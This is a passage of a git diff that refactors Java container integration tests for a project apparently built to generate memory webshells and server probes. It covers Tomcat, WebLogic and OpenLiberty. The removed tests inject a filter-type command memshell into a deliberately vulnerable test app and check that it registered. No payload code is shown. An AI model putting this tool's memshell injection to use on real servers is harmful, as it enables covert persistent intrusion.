@SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_7); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected GenericContainer getContainer() { + return container; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + @RetryingTest(3) + protected void testJDK() { + doTestJDK(); } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java index c37966a9..8f0208d2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat8ContainerTest.java @@ -1,111 +1,34 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat8ContainerTest { - public static final String imageName = "tomcat:8-jre8"; - - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); +public class Tomcat8ContainerTest extends AbstractProbeContainerTest { - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|1.8.0_402|52", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString( - Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), - data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("tomcat:8-jre8") + .expectedJdkVersion("JRE|1.8.0_402|52") + .targetJdkVersion(Opcodes.V1_8) + .build(); - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Tomcat, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_8); - } - - @Test - @SneakyThrows - void testScriptEngineReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_8); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V1_8); - ProbeAssertion.responseBytecodeWithoutPrefixIsOk(url, Server.Tomcat, Opcodes.V1_8); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java index f5d62155..5e1278f1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat9ContainerTest.java @@ -1,101 +1,42 @@ package com.reajason.javaweb.integration.probe.tomcat; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.junitpioneer.jupiter.RetryingTest; -import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Tomcat9ContainerTest { - public static final String imageName = "tomcat:9.0.8-jre9"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @RetryingTest(3) - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|9.0.4|53", data); - } +public class Tomcat9ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Tomcat, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("tomcat:9.0.8-jre9") + .expectedJdkVersion("JRE|9.0.4|53") + .targetJdkVersion(Opcodes.V9) + .supportsScriptEngine(false) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V9); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V9); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected GenericContainer getContainer() { + return container; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + @RetryingTest(3) + protected void testJDK() { + doTestJDK(); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java index 0a9b0a37..043dc72b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic1036ContainerTest.java @@ -1,106 +1,36 @@ package com.reajason.javaweb.integration.probe.weblogic; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWebLogic; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/24 */ @Testcontainers -@Slf4j -public class WebLogic1036ContainerTest { - public static final String imageName = "reajason/weblogic:10.3.6"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(7001); - - @AfterAll - public static void tearDown() { - log.info(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrlFromWebLogic(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_342|52", data); - } +public class WebLogic1036ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromWebLogic(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrlFromWebLogic(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.WebLogic, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.weblogic( + "reajason/weblogic:10.3.6", + "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war") + .expectedJdkVersion("JDK|1.8.0_342|52") + .targetJdkVersion(Opcodes.V1_8) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromWebLogic(container); - ProbeAssertion.responseCommandIsOk(url, Server.WebLogic, Opcodes.V1_8); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromWebLogic(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.WebLogic, Opcodes.V1_8); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrlFromWebLogic(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebLogic)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrlFromWebLogic(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.WebLogic, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebLogic)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java index ed5dcd79..6593a5e7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic12214ContainerTest.java @@ -1,106 +1,36 @@ package com.reajason.javaweb.integration.probe.weblogic; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWebLogic; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/24 */ @Testcontainers -@Slf4j -public class WebLogic12214ContainerTest { - public static final String imageName = "reajason/weblogic:12.2.1.4"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(7001); - - @AfterAll - public static void tearDown() { - System.out.println(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrlFromWebLogic(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_411|52", data); - } +public class WebLogic12214ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromWebLogic(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrlFromWebLogic(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.WebLogic, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.weblogic( + "reajason/weblogic:12.2.1.4", + "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|1.8.0_411|52") + .targetJdkVersion(Opcodes.V1_8) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromWebLogic(container); - ProbeAssertion.responseCommandIsOk(url, Server.WebLogic, Opcodes.V1_8); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromWebLogic(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.WebLogic, Opcodes.V1_8); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrlFromWebLogic(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebLogic)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrlFromWebLogic(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.WebLogic, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebLogic)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java index 15497c48..478f9924 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14110ContainerTest.java @@ -1,100 +1,36 @@ package com.reajason.javaweb.integration.probe.weblogic; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWebLogic; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/24 */ @Testcontainers -@Slf4j -public class WebLogic14110ContainerTest { - public static final String imageName = "reajason/weblogic:14.1.1.0"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(7001); - - @Test - void testJDK() { - String url = getUrlFromWebLogic(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_391|52", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromWebLogic(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrlFromWebLogic(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.WebLogic, data); - } +public class WebLogic14110ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromWebLogic(container); - ProbeAssertion.responseCommandIsOk(url, Server.WebLogic, Opcodes.V1_8); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.weblogic( + "reajason/weblogic:14.1.1.0", + "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|1.8.0_391|52") + .targetJdkVersion(Opcodes.V1_8) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromWebLogic(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.WebLogic, Opcodes.V1_8); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrlFromWebLogic(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebLogic)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrlFromWebLogic(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.WebLogic, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebLogic)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14120ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14120ContainerTest.java new file mode 100644 index 00000000..3597fe4c --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/weblogic/WebLogic14120ContainerTest.java @@ -0,0 +1,36 @@ +package com.reajason.javaweb.integration.probe.weblogic; + +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +@Testcontainers +public class WebLogic14120ContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig.weblogic( + "reajason/weblogic:14.1.2.0-jdk17", + "/u01/oracle/user_projects/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|17.0.15|61") + .targetJdkVersion(Opcodes.V17) + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty18ContainerTest.java index 3181b87c..82c9fc02 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty18ContainerTest.java @@ -1,106 +1,40 @@ package com.reajason.javaweb.integration.probe.websphere; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; import java.time.Duration; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class OpenLiberty18ContainerTest { - public static final String imageName = "open-liberty:18.0.0.4-webProfile8"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/config/dropins/app.war") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); - - @AfterAll - public static void tearDown() { - System.out.println(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|1.8.0_211|52", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.WebSphere, data); - } +public class OpenLiberty18ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromWAS(container); - ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromWAS(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .openLiberty("open-liberty:18.0.0.4-webProfile8") + .expectedJdkVersion("JRE|1.8.0_211|52") + .targetJdkVersion(Opcodes.V1_8) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .privilegedMode(true) + .build(); + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrlFromWAS(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty20ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty20ContainerTest.java index 05989000..6e76fbb0 100644 --- 